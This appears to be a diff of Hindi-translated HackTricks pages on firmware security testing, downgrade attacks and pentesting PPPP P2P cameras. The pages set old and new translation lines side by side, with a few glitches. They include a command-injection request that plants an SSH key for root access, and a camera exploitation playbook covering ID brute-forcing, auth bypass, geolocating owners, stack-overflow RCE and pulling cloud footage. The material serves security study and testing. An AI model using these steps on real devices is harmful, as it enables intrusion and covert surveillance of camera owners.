ARM बाइनरीज़ के लिए प्रक्रिया समान होती है, और इम्यूलेशन के लिए `qemu-arm` एमुलेटर का उपयोग किया जाता है।
### पूर्ण प्रणाली अनुकरण
### Full System Emulation
[Firmadyne](https://github.com/firmadyne/firmadyne), [Firmware Analysis Toolkit](https://github.com/attify/firmware-analysis-toolkit) और अन्य जैसे उपकरण पूर्ण फर्मवेयर अनुकरण को सुविधाजनक बनाते हैं, प्रक्रिया को स्वचालित करते हैं और गतिशील विश्लेषण में सहायता करते हैं।
Tools like [Firmadyne](https://github.com/firmadyne/firmadyne), [Firmware Analysis Toolkit](https://github.com/attify/firmware-analysis-toolkit), and others, पूर्ण फर्मवेयर इम्यूलेशन की सुविधा प्रदान करते हैं, प्रक्रिया को ऑटोमेट करते हैं और डायनामिक एनालिसिस में मदद करते हैं।
## व्याव实践 में गतिशील विश्लेषण
## Dynamic Analysis in Practice
इस चरण में, विश्लेषण के लिए या तो एक वास्तविक या अनुकरणित डिवाइस वातावरण का उपयोग किया जाता है। OS और फ़ाइल प्रणाली तक शेल पहुंच बनाए रखना आवश्यक है। अनुकरण हार्डवेयर इंटरैक्शन को सही ढंग से अनुकरण नहीं कर सकता, जिससे कभी-कभी अनुकरण को फिर से शुरू करने की आवश्यकता होती है। विश्लेषण को फ़ाइल प्रणाली पर फिर से जाना चाहिए, उजागर की गई वेबपृष्ठों और नेटवर्क सेवाओं का शोषण करना चाहिए, और बूटलोडर कमजोरियों का पता लगाना चाहिए। फर्मवेयर अखंडता परीक्षण संभावित बैकडोर कमजोरियों की पहचान के लिए महत्वपूर्ण हैं।
इस चरण में, विश्लेषण के लिए वास्तविक या एमुलेटेड डिवाइस वातावरण का उपयोग किया जाता है। OS और फ़ाइल सिस्टम तक shell एक्सेस बनाए रखना आवश्यक है। इम्यूलेशन हार्डवेयर इंटरैक्शन की पूर्ण नकल नहीं कर सकता, इसलिए कभी-कभी इमुलेशन को पुनः आरंभ करना पड़ सकता है। विश्लेषण के दौरान फ़ाइल सिस्टम की फिर से जाँच करनी चाहिए, एक्स्पोज़्ड वेबपेजेस और नेटवर्क सेवाओं का उपयोग करना चाहिए, और bootloader कमजोरियों का अन्वेषण करना चाहिए। फर्मवेयर अखंडता परीक्षण संभावित बैकडोर कमजोरियों की पहचान के लिए महत्वपूर्ण हैं।
## रनटाइम विश्लेषण तकनीकें
## Runtime Analysis Techniques
रनटाइम विश्लेषण एक प्रक्रिया या बाइनरी के साथ उसके संचालन वातावरण में बातचीत करने में शामिल है, जिसमें gdb-multiarch, Frida, और Ghidra जैसे उपकरणों का उपयोग करके ब्रेकपॉइंट सेट करना और फज़िंग और अन्य तकनीकों के माध्यम से कमजोरियों की पहचान करना शामिल है
रनटाइम विश्लेषण में किसी प्रक्रिया या बाइनरी के साथ उसके ऑपरेटिंग वातावरण में इंटरैक्ट करना शामिल है, और ब्रेकपॉइंट सेट करने और कमजोरियों की पहचान के लिए gdb-multiarch, Frida, और Ghidra जैसे टूल्स का उपयोग किया जाता है, साथ ही fuzzing और अन्य तकनीकों के माध्यम से।
## बाइनरी शोषण और प्रमाण-का-धारणा
## Binary Exploitation and Proof-of-Concept
पहचानी गई कमजोरियों के लिए PoC विकसित करने के लिए लक्षित आर्किटेक्चर और निम्न-स्तरीय भाषाओं में प्रोग्रामिंग की गहरी समझ की आवश्यकता होती है। एम्बेडेड सिस्टम में बाइनरी रनटाइम सुरक्षा दुर्लभ होती है, लेकिन जब मौजूद होती है, तो Return Oriented Programming (ROP) जैसी तकनीकों की आवश्यकता हो सकती है।
पहचानी गई कमजोरियों के लिए एक PoC विकसित करने के लिए लक्षित आर्किटेक्चर की गहन समझ और lower-level भाषाओं में प्रोग्रामिंग आवश्यक होती है। एम्बेडेड सिस्टम्स में बाइनरी रनटाइम प्रोटेक्शन्स दुर्लभ होते हैं, लेकिन जब मौजूद हों तो Return Oriented Programming (ROP) जैसी तकनीकों की आवश्यकता हो सकती है।
## फर्मवेयर विश्लेषण के लिए तैयार ऑपरेटिंग सिस्टम
## Prepared Operating Systems for Firmware Analysis
[AttifyOS](https://github.com/adi0x90/attifyos) और [EmbedOS](https://github.com/scriptingxss/EmbedOS) जैसे ऑपरेटिंग सिस्टम फर्मवेयर सुरक्षा परीक्षण के लिए पूर्व-निर्धारित वातावरण प्रदान करते हैं, जिसमें आवश्यक उपकरण होते हैं।
Operating systems like [AttifyOS](https://github.com/adi0x90/attifyos) and [EmbedOS](https://github.com/scriptingxss/EmbedOS) फर्मवेयर सुरक्षा परीक्षण के लिए पूर्व-कॉन्फ़िगर किए गए वातावरण प्रदान करते हैं, जिनमें आवश्यक टूल्स शामिल होते हैं।
## फर्मवेयर का विश्लेषण करने के लिए तैयार OSs
## Prepared OSs to analyze Firmware
- [**AttifyOS**](https://github.com/adi0x90/attifyos): AttifyOS एक वितरण है जिसका उद्देश्य आपको इंटरनेट ऑफ थिंग्स (IoT) उपकरणों की सुरक्षा मूल्यांकन और पेनटेस्टिंग करने में मदद करना है। यह आपको सभी आवश्यक उपकरणों के साथ पूर्व-निर्धारित वातावरण प्रदान करके बहुत सारा समय बचाता है।
- [**EmbedOS**](https://github.com/scriptingxss/EmbedOS): फर्मवेयर सुरक्षा परीक्षण उपकरणों के साथ पूर्व-लोडेड Ubuntu 18.04 पर आधारित एम्बेडेड सुरक्षा परीक्षण ऑपरेटिंग सिस्टम
- [**AttifyOS**](https://github.com/adi0x90/attifyos): AttifyOS एक distro है जिसका उद्देश्य आपको Internet of Things (IoT) devices के security assessment और penetration testing करने में मदद करना है। यह आपको बहुत समय बचाता है क्योंकि यह सभी आवश्यक टूल्स के साथ एक pre-configured environment प्रदान करता है।
- [**EmbedOS**](https://github.com/scriptingxss/EmbedOS): Embedded security testing operating system जो Ubuntu 18.04 पर आधारित है और firmware security testing tools के साथ preloaded है
## फर्मवेयर डाउनग्रेड हमले और असुरक्षित अपडेट तंत्र
## Firmware Downgrade Attacks & Insecure Update Mechanisms
यहां तक कि जब एक विक्रेता फर्मवेयर छवियों के लिए क्रिप्टोग्राफिक हस्ताक्षर जांच लागू करता है, **संस्करण रोलबैक (डाउनग्रेड) सुरक्षा अक्सर छोड़ दी जाती है**। जब बूट- या रिकवरी-लोडर केवल एक अंतर्निहित सार्वजनिक कुंजी के साथ हस्ताक्षर की पुष्टि करता है लेकिन फ्लैश की जा रही छवि के *संस्करण* (या एक मोनोटोनिक काउंटर) की तुलना नहीं करता है, तो एक हमलावर एक **पुरानी, कमजोर फर्मवेयर को वैध हस्ताक्षर के साथ स्थापित कर सकता है** और इस प्रकार पैच की गई कमजोरियों को फिर से पेश कर सकता है।
यहाँ तक कि जब कोई विक्रेता फर्मवेयर इमेज के लिए cryptographic signature checks लागू करता है, तब भी **version rollback (downgrade) protection अक्सर छूट जाती है**। जब boot- या recovery-loader केवल embedded public key के साथ सिग्नेचर की जांच करता है लेकिन फ्लैश की जा रही इमेज के *version* (या एक monotonic counter) की तुलना नहीं करता, तो एक अटैकर वैध तरीके से एक **पुरानी, कमजोर फर्मवेयर जो अभी भी मान्य सिग्नेचर रखती है** इंस्टॉल कर सकता है और इस प्रकार पैच की गई कमजोरियों को फिर से वापस ला सकता है।
टिपिकल हमले का कार्यप्रवाह:
Typical attack workflow:
1. **एक पुरानी हस्ताक्षरित छवि प्राप्त करें**
* इसे विक्रेता के सार्वजनिक डाउनलोड पोर्टल, CDN या समर्थन साइट से प्राप्त करें।
* इसे साथी मोबाइल/डेस्कटॉप अनुप्रयोगों से निकालें (जैसे, `assets/firmware/` के तहत एक Android APK के अंदर)।
* इसे तीसरे पक्ष के रिपॉजिटरी जैसे VirusTotal, इंटरनेट आर्काइव, फोरम, आदि से प्राप्त करें
2. **छवि को डिवाइस पर अपलोड या सेवा करें** किसी भी उजागर अपडेट चैनल के माध्यम से:
* वेब UI, मोबाइल-ऐप API, USB, TFTP, MQTT, आदि।
* कई उपभोक्ता IoT उपकरण *अप्रमाणित* HTTP(S) एंडपॉइंट्स को उजागर करते हैं जो Base64-कोडित फर्मवेयर ब्लॉब्स को स्वीकार करते हैं, उन्हें सर्वर-साइड पर डिकोड करते हैं और रिकवरी/अपग्रेड को ट्रिगर करते हैं।
3. डाउनग्रेड के बाद, एक कमजोरियों का शोषण करें जो नए रिलीज़ में पैच की गई थी (उदाहरण के लिए, एक कमांड-इंजेक्शन फ़िल्टर जो बाद में जोड़ा गया था)।
4. वैकल्पिक रूप से नवीनतम छवि को फिर से फ्लैश करें या पहचान से बचने के लिए अपडेट को बंद करें जब स्थायीता प्राप्त हो जाए।
1. **Obtain an older signed image**
* इसे विक्रेता के सार्वजनिक डाउनलोड पोर्टल, CDN या सपोर्ट साइट से प्राप्त करें।
* इसे companion mobile/desktop applications से निकालें (उदा. एक Android APK के अंदर `assets/firmware/` के तहत)।
* इसे तीसरे-पक्ष रिपॉज़िटरीज़ से प्राप्त करें जैसे VirusTotal, Internet archives, forums, आदि
2. **Upload or serve the image to the device** via any exposed update channel:
* Web UI, mobile-app API, USB, TFTP, MQTT, आदि।
* कई consumer IoT devices *unauthenticated* HTTP(S) endpoints एक्स्पोज़ करते हैं जो Base64-encoded firmware blobs स्वीकार करते हैं, उन्हें server-side पर decode करते हैं और recovery/upgrade ट्रिगर करते हैं।
3. डाउनग्रेड के बाद, उस कमजोरी का फायदा उठाएँ जिसे नए रिलीज़ में पैच किया गया था (उदा. बाद में जोड़ा गया command-injection फ़िल्टर)।
4. वैकल्पिक रूप से persistence हासिल करने के बाद detection से बचने के लिए नवीनतम इमेज को वापस फ्लैश करें या updates को डिसेबल कर दें।
### उदाहरण: डाउनग्रेड के बाद कमांड इंजेक्शन
### Example: Command Injection After Downgrade
```http
POST /check_image_and_trigger_recovery?md5=1; echo 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC...' >> /root/.ssh/authorized_keys HTTP/1.1
Host: 192.168.0.1
Content-Type: application/octet-stream
Content-Length: 0
```
In the vulnerable (downgraded) firmware, the `md5` parameter is concatenated directly into a shell command without sanitisation, allowing injection of arbitrary commands (here enabling SSH key-based root access). Later firmware versions introduced a basic character filter, but the absence of downgrade protection renders the fix moot.
कमजोर (downgraded) firmware में, `md5` पैरामीटर को sanitisation के बिना सीधे एक shell कमांड में जोड़ा जाता है, जिससे arbitrary कमांड्स inject करने की अनुमति मिलती है (यहाँ SSH key-based root access सक्षम करने के लिए)। बाद की firmware versions में एक basic character filter जोड़ा गया था, लेकिन downgrade protection की अनुपस्थिति के कारण यह फिक्स बेअसर हो जाता है।
### Extracting Firmware From Mobile Apps
### मोबाइल ऐप्स से Firmware निकालना
कई विक्रेता अपने सहायक मोबाइल अनुप्रयोगों के अंदर पूर्ण फर्मवेयर छवियों को बंडल करते हैं ताकि ऐप डिवाइस को Bluetooth/Wi-Fi के माध्यम से अपडेट कर सके। ये पैकेज आमतौर पर `APK/APEX` के तहत `assets/fw/` या `res/raw/` जैसे पथों में अनएन्क्रिप्टेड रूप से संग्रहीत होते हैं। `apktool`, `ghidra`, या यहां तक कि साधारण `unzip` जैसे उपकरण आपको भौतिक हार्डवेयर को छुए बिना साइन की गई छवियों को खींचने की अनुमति देते हैं।
कई विक्रेता अपने companion मोबाइल एप्लिकेशन के अंदर पूरा firmware image बंडल करते हैं ताकि ऐप डिवाइस को Bluetooth/WiFi के जरिए अपडेट कर सके। ये पैकेज आमतौर पर बिना एन्क्रिप्शन के APK/APEX में `assets/fw/` या `res/raw/` जैसे पाथ के अंतर्गत स्टोर होते हैं। `apktool`, `ghidra`, या साधारण `unzip` जैसे tools आपको फिजिकल हार्डवेयर को छुए बिना signed images निकालने की अनुमति देते हैं।
```
$ apktool d vendor-app.apk -o vendor-app
$ ls vendor-app/assets/firmware
firmware_v1.3.11.490_signed.bin
```
### अपडेट लॉजिक का आकलन करने के लिए चेकलिस्ट
### अपडेट लॉजिक का आकलन करने क चेकलिस्ट
* क्या *अपडेट एंडपॉइंट* का परिवहन/प्रमाणीकरण उचित रूप से सुरक्षित है (TLS + प्रमाणीकरण)?
* क्या डिवाइस फ्लैश करने से पहले **संस्करण नंबर** या **मोनोटोनिक एंटी-रोलबैक काउंटर** की तुलना करता है?
* क्या इमेज को सुरक्षित बूट चेन के अंदर सत्यापित किया गया है (जैसे, ROM कोड द्वारा हस्ताक्षर की जांच)?
* क्या यूजरलैंड कोड अतिरिक्त सैनीटी चेक करता है (जैसे, अनुमत विभाजन मानचित्र, मॉडल नंबर)?
* क्या *आंशिक* या *बैकअप* अपडेट प्रवाह वही सत्यापन लॉजिक पुनः उपयोग कर रहे हैं?
* क्या *update endpoint* का transport/authentication पर्याप्त रूप से सुरक्षित है (TLS + authentication)?
* क्या डिवाइस flashing से पहले **version numbers** या एक **monotonic anti-rollback counter** की तुलना करता है?
* क्या image को secure boot chain के भीतर verify किया जाता है (उदा. signatures को ROM code द्वारा चेक किया जाता है)?
* क्या userland code अतिरिक्त sanity checks करता है (उदा. allowed partition map, model number)?
* क्या *partial* या *backup* update flows वही validation logic पुनः उपयोग कर रहे हैं?
> 💡 यदि उपरोक्त में से कोई भी गायब है, तो प्लेटफ़ॉर्म शायद रोलबैक हमलों के प्रति संवेदनशील है।
> 💡 यदि ऊपर में से कोई भी तत्व अनुपस्थित है, तो प्लेटफ़ॉर्म संभवतः rollback attacks के प्रति संवेदनशील है।
## अभ्यास के लिए संवेदनशील फर्मवेयर
## अभ्यास के लिए कमजोर फ़र्मवेयर
र्मवेयर में संवेदनशीलताओं का पता लगाने का अभ्यास करने के लिए, निम्नलिखित संवेदनशील फर्मवेयर परियोजनाओं का उपयोग प्रारंभिक बिंदु के रूप में करें।
़र्मवेयर में कमजोरियों की खोज का अभ्यास करने के लिए, निम्नलिखित vulnerable firmware परियोजनाओं को प्रारंभिक बिंदु के रूप में उपयोग करें।
- OWASP IoTGoat
- [https://github.com/OWASP/IoTGoat](https://github.com/OWASP/IoTGoat)
- द डैम्न वल्नरेबल राउटर फर्मवेयर प्रोजेक्ट
- The Damn Vulnerable Router Firmware Project
- [https://github.com/praetorian-code/DVRF](https://github.com/praetorian-code/DVRF)
- डैम्न वल्नरेबल ARM राउटर (DVAR)
- Damn Vulnerable ARM Router (DVAR)
- [https://blog.exploitlab.net/2018/01/dvar-damn-vulnerable-arm-router.html](https://blog.exploitlab.net/2018/01/dvar-damn-vulnerable-arm-router.html)
- ARM-X
- [https://github.com/therealsaumil/armx#downloads](https://github.com/therealsaumil/armx#downloads)
- Azeria Labs VM 2.0
- [https://azeria-labs.com/lab-vm-2-0/](https://azeria-labs.com/lab-vm-2-0/)
- डैम्न वल्नरेबल IoT डिवाइस (DVID)
- Damn Vulnerable IoT Device (DVID)
- [https://github.com/Vulcainreo/DVID](https://github.com/Vulcainreo/DVID)
## संदर्भ
@ -285,7 +289,7 @@ firmware_v1.3.11.490_signed.bin
- [Practical IoT Hacking: The Definitive Guide to Attacking the Internet of Things](https://www.amazon.co.uk/Practical-IoT-Hacking-F-Chantzis/dp/1718500904)
- [Exploiting zero days in abandoned hardware Trail of Bits blog](https://blog.trailofbits.com/2025/07/25/exploiting-zero-days-in-abandoned-hardware/)
## प्रशिक्षण और प्रमाणन
## ट्रेनिंग और प्रमाणपत्र
- [https://www.attify-store.com/products/offensive-iot-exploitation](https://www.attify-store.com/products/offensive-iot-exploitation)

BIN
src/images/k8studio.jpg Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 6.5 KiB

View File

@ -0,0 +1,165 @@
# 32100/UDP - Pentesting PPPP (CS2) P2P कैमरे
{{#include ../banners/hacktricks-training.md}}
## अवलोकन
PPPP (a.k.a. “P2P”) CS2 Network द्वारा विकसित एक proprietary device connectivity stack है जो कम-लागत के IP कैमरों और अन्य IoT डिवाइसेज़ में व्यापक रूप से एम्बेड किया जाता है। यह rendezvous, NAT traversal (UDP hole punching), UDP के ऊपर एक application-layer “reliable” stream, और एक ID-based addressing स्कीम प्रदान करता है, जिससे एक mobile/desktop app केवल device ID जानकर इंटरनेट पर कहीं भी डिवाइस तक पहुँच सकती है।
आक्रमणकर्ताओं के लिए मुख्य प्रासंगिक गुण:
- डिवाइसेज़ अपने ID prefix के लिए तीन vendor-operated rendezvous सर्वरों पर रजिस्टर करते हैं। क्लाइंट वही सर्वर क्वेरी करते हैं ताकि डिवाइस का external/relay address मिले, और फिर UDP hole punching करने की कोशिश करते हैं। Relay fallback मौजूद है।
- Default server listener UDP/32100 पर पहुंच योग्य है। एक न्यूनतम “hello” probe सर्वरों और कुछ डिवाइसेज़ को फिंगरप्रिंट करने के लिए पर्याप्त है।
- Optional blanket cipher और एक विशेष “CRCEnc” mode मौजूद हैं लेकिन डिजाइन में कमजोर हैं और आम तौर पर लोकप्रिय ecosystems (जैसे LookCam) में disabled रहते हैं।
- Control plane आमतौर पर PPPP stream पर JSON commands होते हैं और अक्सर missing auth और memory-safety bugs से ग्रस्त होते हैं।
Typical device ID फ़ॉर्मेट (LookCam family): PREFIX-######-CCCCC, apps में छोटा करके दिखाया जाता है (उदाहरण: GHBB-000001-NRLXW → G000001NRLXW). देखे गए prefixes: BHCC ("hekai"), FHBB और GHBB ("mykj")।
## Discovery and Enumeration
- Internet exposure: कई PPPP super-nodes 32100/UDP probe का उत्तर देते हैं। ज्ञात plaintext और error-string responses उन्हें traffic captures और Internet scanners में पहचानना आसान बनाते हैं।
- LAN discovery: डिवाइसेज़ अक्सर local broadcast पर एक unencrypted search का उत्तर देती हैं। Paul Marrapeses स्क्रिप्ट का उपयोग करके enumerate करें:
- [https://github.com/pmarrapese/iot/tree/master/p2p/lansearch](https://github.com/pmarrapese/iot/tree/master/p2p/lansearch)
नोट्स:
- Apps में embedded “init strings” होते हैं जिनमें obfuscated server IP lists और protocol keys होते हैं। ये strings Android/iOS/Windows clients से आसानी से extract किए जा सकते हैं और अक्सर कई product lines में reuse होते हैं।
## NAT Traversal and Transport
- Rendezvous servers डिवाइस के public mapping को डिवाइस के periodic keepalives से सीखते हैं। क्लाइंट mapping के लिए सर्वरों से क्वेरी करते हैं और फिर hole punching का उपयोग करके direct UDP flows की कोशिश करते हैं। यदि NAT traversal विफल रहती है, तो traffic निर्दिष्ट PPPP relay hosts द्वारा relay किया जाता है।
- Application “stream” UDP के ऊपर अपना ACK/retx logic लागू करता है; retransmission loops कई code paths में duplicated होते हैं और lossy links पर flood कर सकते हैं।
## Weak “Encryption” and Key Recovery
CS2 stack में दो अकार्यक्षम मैकेनिज्म मौजूद हैं:
1) Blanket cipher (optional) P2P_Proprietary_Encrypt
- आम तौर पर OEMs द्वारा LookCam के उपयोग में disabled रहती है।
- App-side “init string” key material प्रदान करती है जिसे एक प्रभावी 4-byte key (~2^32 space) में réduit किया जाता है।
- Practical known-plaintext: MSG_HELLO के UDP/32100 पर पहले 4 bytes ज्ञात होते हैं: F1 00 00 00. एक single encrypted handshake देखकर rapid key recovery या validation संभव है।
- कुछ control messages (उदा., MSG_REPORT_SESSION_READY) हमेशा library-hardcoded key के साथ encrypted होती हैं जो apps में साझा होती है।
2) Registration “encryption” PPPP_CRCEnc
- नाम के बावजूद, यह CRC नहीं है। यह एक fixed repeating XOR keystream है जिसमें 4-byte padding check है (authenticated नहीं)।
- LookCam networks सामान्यतः CRCEnc का उपयोग केवल device → server registration (MSG_DEV_LGN_CRC) के लिए करते हैं। अधिकांश अन्य traffic plaintext में रहता है।
PPPP_CRCEnc के लिए सरल keystream recovery (Python):
```python
# ciphertext: captured bytes of an encrypted registration message
# known: guessed/known plaintext region (e.g., JSON or constant header)
keystream = bytes([c ^ p for c, p in zip(ciphertext[:len(known)], known)])
# Decrypt more bytes by XORing with the repeating keystream
pt = bytes([c ^ keystream[i % len(keystream)] for i, c in enumerate(ciphertext)])
```
Threat model mismatch: CS2 सामग्री fake device registrations के जरिए DoS को रोकने पर केंद्रित है, न कि confidentiality पर। यही बताता है कि registration की selective “encryption” क्यों की जाती है जबकि video/control वैकल्पिक या cleartext में रहते हैं। Historical PPPP servers में rate limiting नहीं होता, जिससे बड़े पैमाने पर brute-force/abuse संभव होता है।
## Control Plane: JSON Commands and Auth Bypass
Many PPPP camera firmwares session चालू होने के बाद JSON messages का आदान-प्रदान करते हैं। उदाहरण के तौर पर client द्वारा भेजा गया “login”:
```json
{
"cmd": "LoginDev",
"pwd": "123456"
}
```
Common vulnerability in LookCam-class devices:
- Firmware ignores both the LoginDev flow and per-request pwd fields (CWE-287, CWE-306). डिवाइस पासवर्ड को सत्यापित किए बिना ऑपरेशनल कमांड स्वीकार करता है।
- Exploitation: LoginDev को न भेजें या उसके परिणाम को अनदेखा करें; सीधे कमांड भेजें।
Useful commands observed:
- searchWiFiList iwlist को कॉल करता है; कच्चा आउटपुट /tmp/wifi_scan.txt में छोड़ देता है।
- DownloadFile path प्रतिबंधों के बिना arbitrary path read primitive।
Workflow to deanonymize location via transient artifacts:
1) Send {"cmd":"searchWiFiList"}.
2) Read /tmp/wifi_scan.txt via DownloadFile.
3) Submit BSSID MACs to a geolocation API (e.g., Google Geolocation API) to localize the camera to tens of meters.
## Memory-Safety to RCE on Embedded Firmware
Typical unsafe pattern (pseudocode from handlers):
```c
char buf[256];
char *cmd = cJSON_GetObjectItem(request, "cmd")->valuestring;
memset(buf, 0, sizeof(buf));
memcpy(buf, cmd, strlen(cmd)); // no bound check
```
- Trigger: कोई भी cmd string > 255 bytes stack buffer overflow (CWE-120/121) का कारण बनता है।
- Protections: कोई stack canary नहीं; DEP/NX और ASLR आमतौर पर इन builds पर disabled होते हैं।
- Impact: सीधे single-stage shellcode या classic ROP/ret2libc device के CPU (e.g., ARM) पर full compromise और LAN pivoting के लिए।
See also:
-
{{#ref}}
../binary-exploitation/stack-overflow/README.md
{{#endref}}
-
{{#ref}}
../binary-exploitation/rop-return-oriented-programing/ret2lib/README.md
{{#endref}}
## क्लाउड स्टोरेज दुरुपयोग (HTTP, Device-ID केवल)
कई LookCam-ब्रांडेड firmwares रिकॉर्डिंग्स को केवल HTTP पर api.l040z.com (BHCC के लिए apicn.l040z.com) पर अपलोड करते हैं। अवलोकन:
- Firmware में कोई TLS नहीं; transport cleartext HTTP है।
- API “authentication” केवल device-ID है: जो भी ID जानता है वह रिकॉर्डिंग्स fetch कर सकता है।
- 5 MiB chunking hardcoded है।
- Remote enablement: बूट पर डिवाइस http://api.l040z.com/camera/signurl को कॉल करता है; server का response तय करता है कि uploads शुरू होती हैं या नहीं। मोबाइल app क्लाउड “disabled” दिखा सकता है भले ही uploads हो रही हों। तृतीय पक्ष किसी victim ID के लिए क्लाउड खरीद/enable कर सकता है और चुपचाप फुटेज इकट्ठा कर सकता है।
यह classic cleartext sensitive transmission (CWE-319) है जिसमें server-side authZ गायब है।
## Device-ID Enumeration and Guessing
- ID format: PREFIX-######-CCCCC and app-shortened form (e.g., GHBB-000001-NRLXW → G000001NRLXW).
- Prefix families: BHCC (hekai servers), FHBB and GHBB (mykj servers). प्रत्येक prefix HA के लिए तीन rendezvous servers से मैप होता है।
- 5-letter verifier 22 uppercase letters के alphabet का उपयोग करता है (A, I, O, Q excluded) → 22^5 ≈ 5.15M combos प्रति numeric base।
- पिछले कार्यों में server-side rate-limiting नहीं देखा गया, जो distributed guessing को practical बनाता है। verifier algorithm bespoke है और संभवतः guessable या apps/firmware reverse करके obtain किया जा सकता है।
व्यावहारिक स्रोत:
- Official apps पर कहीं भी दिखते हैं और अक्सर user screenshots/videos में leaked होते हैं।
- AP mode SSID device ID के बराबर होता है; कई devices onboarding के दौरान एक open AP expose करते हैं।
## Remote Reachability को मजबूर करना
कुछ firmwares तब तक loop में reboot करते हैं जब तक rendezvous servers reachable न हो जाएँ। यदि egress blocked हो, डिवाइस reboot cycle में बना रहेगा, जिससे मालिकों को प्रभावी रूप से इसे Internet-reachable छोड़ने के लिए बाध्य किया जाता है और PPPP rendezvous के लिए exposed रहता है।
## Practical Exploitation Playbook (for repro/defense testing)
1) Obtain device ID
- app UI या AP SSID से; अन्यथा PREFIX+number enumerate करें और 22^5 verifier space को brute-force करें।
2) Establish PPPP session
- CS2 PPPP client या custom code का उपयोग करें; app init string से server IP lists और init keys extract करें; UDP hole punching का प्रयास करें; असफल होने पर relay पर fallback करें।
3) Bypass auth
- LoginDev को skip करें या उसके result को ignore करें; operational JSON सीधे भेजें।
4) Exfiltrate files / geo-locate
- {"cmd":"searchWiFiList"} भेजें; फिर DownloadFile "/tmp/wifi_scan.txt"; BSSIDs को किसी geolocation API में submit करें।
5) Achieve RCE
- cmd > 255 bytes भेजें ताकि stack overflow trigger हो; ROP/ret2libc बनाएं या shellcode drop करें (कोई canary/DEP/ASLR नहीं)।
6) Cloud access
- केवल device ID का उपयोग कर api.l040z.com endpoints के साथ interact करें; ध्यान दें कि 5 MiB chunking है; क्लाउड enablement /camera/signurl द्वारा नियंत्रित होती है भले ही app UI state कुछ भी हो।
## Related Protocols/Services
-
{{#ref}}
554-8554-pentesting-rtsp.md
{{#endref}}
-
{{#ref}}
../generic-methodologies-and-resources/pentesting-wifi/README.md
{{#endref}}
## References
- [A look at a P2P camera (LookCam app) Almost Secure](https://palant.info/2025/09/08/a-look-at-a-p2p-camera-lookcam-app/)
- [PPPP device discovery on LAN (Paul Marrapese)](https://github.com/pmarrapese/iot/tree/master/p2p/lansearch)
- [LookCam analysis (Warwick University, 2023)](https://www.dcs.warwick.ac.uk/~fenghao/files/hidden_camera.pdf)
- [General PPPP analysis Elastic Security Labs (2024)](https://www.elastic.co/security-labs/storm-on-the-horizon)
- [CS2 Network sales deck (2016) PPPP/threat model](https://prezi.com/5cztk-98izyc/cs2-network-p2p/)
- [Anyka hardened community firmware](https://github.com/Nemobi/Anyka/)
{{#include ../banners/hacktricks-training.md}}

View File

@ -2,36 +2,36 @@
{{#include ../banners/hacktricks-training.md}}
## Basic Information
## बुनियादी जानकारी
From [wikipedia](https://en.wikipedia.org/wiki/Real_Time_Streaming_Protocol):
> **रियल टाइम स्ट्रीमिंग प्रोटोकॉल** (**RTSP**) एक नेटवर्क नियंत्रण प्रोटोकॉल है जिसे मनोरंजन और संचार प्रणालियों में स्ट्रीमिंग मीडिया सर्वरों को नियंत्रित करने के लिए डिज़ाइन किया गया है। यह प्रोटोकॉल अंत बिंदुओं के बीच मीडिया सत्र स्थापित करने और नियंत्रित करने के लिए उपयोग किया जाता है। मीडिया सर्वरों के ग्राहक VHS-शैली के आदेश जारी करते हैं, जैसे कि प्ले, रिकॉर्ड और पॉज़, ताकि सर्वर से ग्राहक (वीडियो ऑन डिमांड) या ग्राहक से सर्वर (वॉयस रिकॉर्डिंग) तक मीडिया स्ट्रीमिंग के वास्तविक समय नियंत्रण को सुविधाजनक बनाया जा सके।
> The **Real Time Streaming Protocol** (**RTSP**) एक नेटवर्क कंट्रोल प्रोटोकॉल है जिसे मनोरंजन और संचार प्रणालियों में स्ट्रीमिंग मीडिया सर्वर्स को नियंत्रित करने के लिए उपयोग के लिए डिज़ाइन किया गया है। यह प्रोटोकॉल एंड-पॉइंट्स के बीच मीडिया सत्रों को स्थापित करने और नियंत्रित करने के लिए उपयोग किया जाता है। मीडिया सर्वरों के क्लाइंट VHS-style कमांड जारी करते हैं, जैसे play, record और pause, ताकि सर्वर से क्लाइंट की ओर (Video On Demand) या क्लाइंट से सर्वर की ओर (Voice Recording) मीडिया स्ट्रीमिंग का वास्तविक-समय नियंत्रण संभव हो सके।
>
> स्ट्रीमिंग डेटा के संचरण का कार्य RTSP का नहीं है। अधिकांश RTSP सर्वर मीडिया स्ट्रीम डिलीवरी के लिए रियल-टाइम ट्रांसपोर्ट प्रोटोकॉल (RTP) के साथ रियल-टाइम कंट्रोल प्रोटोकॉल (RTCP) का उपयोग करते हैं। हालाँकि, कुछ विक्रेता स्वामित्व वाले परिवहन प्रोटोकॉल को लागू करते हैं। उदाहरण के लिए, RealNetworks का RTSP सर्वर सॉफ़्टवेयर भी RealNetworks के स्वामित्व वाले रियल डेटा ट्रांसपोर्ट (RDT) का उपयोग करता है
> स्ट्रीमिंग डेटा का ट्रांसमिशन स्वयं RTSP का कार्य नहीं है। अधिकांश RTSP सर्वर मीडिया स्ट्रीम डिलीवरी के लिए Real-time Transport Protocol (RTP) के साथ Real-time Control Protocol (RTCP) का संयोजन करते हैं। हालांकि, कुछ विक्रेता स्वामित्व वाले ट्रांसपोर्ट प्रोटोकॉल लागू करते हैं। उदाहरण के लिए, RealNetworks का RTSP सर्वर सॉफ़्टवेयर भी RealNetworks का स्वामित्व वाला Real Data Transport (RDT) उपयोग करता था
**डिफ़ॉल्ट पोर्ट:** 554,8554
```
PORT STATE SERVICE
554/tcp open rtsp
```
## Key Details
## मुख्य विवरण
**RTSP** HTTP के समान है लेकिन विशेष रूप से मीडिया स्ट्रीमिंग के लिए डिज़ाइन किया गया है। इसे एक सरल विनिर्देशन में परिभाषित किया गया है जिसे यहाँ पाया जा सकता है:
**RTSP** HTTP के समान है लेकिन विशेष रूप से मीडिया स्ट्रीमिंग के लिए डिज़ाइन किया गया है। यह एक सरल specification में परिभाषित है जिसे यहाँ पाया जा सकता है:
[RTSP RFC2326](https://tools.ietf.org/html/rfc2326)
डिवाइस **अनधिकृत** या **अधिकृत** पहुँच की अनुमति दे सकते हैं। जांचने के लिए, एक "DESCRIBE" अनुरोध भेजा जाता है। एक बुनियादी उदाहरण नीचे दिखाया गया है:
डिवाइस कभी-कभी **unauthenticated** या **authenticated** एक्सेस की अनुमति दे सकते हैं। जाँच करने के लिए, एक "DESCRIBE" request भेजा जाता है। नीचे एक बेसिक उदाहरण दिखाया गया है:
`DESCRIBE rtsp://<ip>:<port> RTSP/1.0\r\nCSeq: 2`
